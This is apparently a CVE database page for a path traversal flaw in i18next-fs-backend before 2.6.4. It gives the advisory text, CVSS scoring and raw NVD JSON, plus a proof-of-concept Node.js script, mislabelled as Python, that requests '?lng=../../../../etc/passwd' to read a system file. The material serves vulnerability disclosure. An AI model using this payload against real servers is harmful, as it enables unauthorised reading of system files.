CVE-2026-41693

Description

i18next-fs-backend is a backend layer for i18next using in Node.js and for Deno to load translations from the filesystem. Prior to version 2.6.4, i18next-fs-backend substitutes the lng and ns options directly into the configured loadPath / addPath templates and then read / write the resulting file from disk. The interpolation is unencoded and unvalidated, so a crafted lng or ns value — containing .., a path separator, a control character, a prototype key, or simply an unexpectedly long string — allows an attacker who can influence either value to read or overwrite files outside the intended locale directory. When lng / ns are derived from untrusted input (request-scoped i18next instances behind an HTTP layer such as i18next-http-middleware, or any framework that lets the end user pick the language via query string, cookie, or header), a single request such as ?lng=../../../../etc/passwd causes the backend to attempt to read that path. This issue has been patched in version 2.6.4.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

i18next-fs-backend < 2.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC: Path Traversal in i18next-fs-backend < 2.6.4
// This PoC demonstrates reading /etc/passwd by manipulating the 'lng' parameter.

const http = require('http');

const targetHost = 'localhost';
const targetPort = 3000;
const path = '/translations'; // Endpoint using i18next-fs-backend

// Malicious payload to traverse directories
const maliciousLng = '../../../../etc/passwd';

const options = {
  hostname: targetHost,
  port: targetPort,
  path: `${path}?lng=${maliciousLng}`,
  method: 'GET'
};

const req = http.request(options, (res) => {
  console.log(`Status: ${res.statusCode}`);
  console.log(`Headers: ${JSON.stringify(res.headers)}`);
  res.setEncoding('utf8');
  res.on('data', (chunk) => {
    console.log(`Body: ${chunk}`);
    // Check if the response contains content from /etc/passwd
    if (chunk.includes('root:') || chunk.includes('nobody:')) {
      console.log('[+] Vulnerability confirmed: Successfully read file outside intended directory.');
    }
  });
});

req.on('error', (e) => {
  console.error(`Request error: ${e.message}`);
});

req.end();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41693
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41693
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41693/
[4] VulDB https://vuldb.com/cve/CVE-2026-41693
[5] https://github.com/i18next/i18next-fs-backend/security/advisories/GHSA-8847-338w-5hcj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41693", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:11.613", "lastModified": "2026-05-08T16:16:11.613", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "i18next-fs-backend is a backend layer for i18next using in Node.js and for Deno to load translations from the filesystem. Prior to version 2.6.4, i18next-fs-backend substitutes the lng and ns options directly into the configured loadPath / addPath templates and then read / write the resulting file from disk. The interpolation is unencoded and unvalidated, so a crafted lng or ns value — containing .., a path separator, a control character, a prototype key, or simply an unexpectedly long string — allows an attacker who can influence either value to read or overwrite files outside the intended locale directory. When lng / ns are derived from untrusted input (request-scoped i18next instances behind an HTTP layer such as i18next-http-middleware, or any framework that lets the end user pick the language via query string, cookie, or header), a single request such as ?lng=../../../../etc/passwd causes the backend to attempt to read that path. This issue has been patched in version 2.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/i18next/i18next-fs-backend/security/advisories/GHSA-8847-338w-5hcj", "source": "[email protected]"}]}}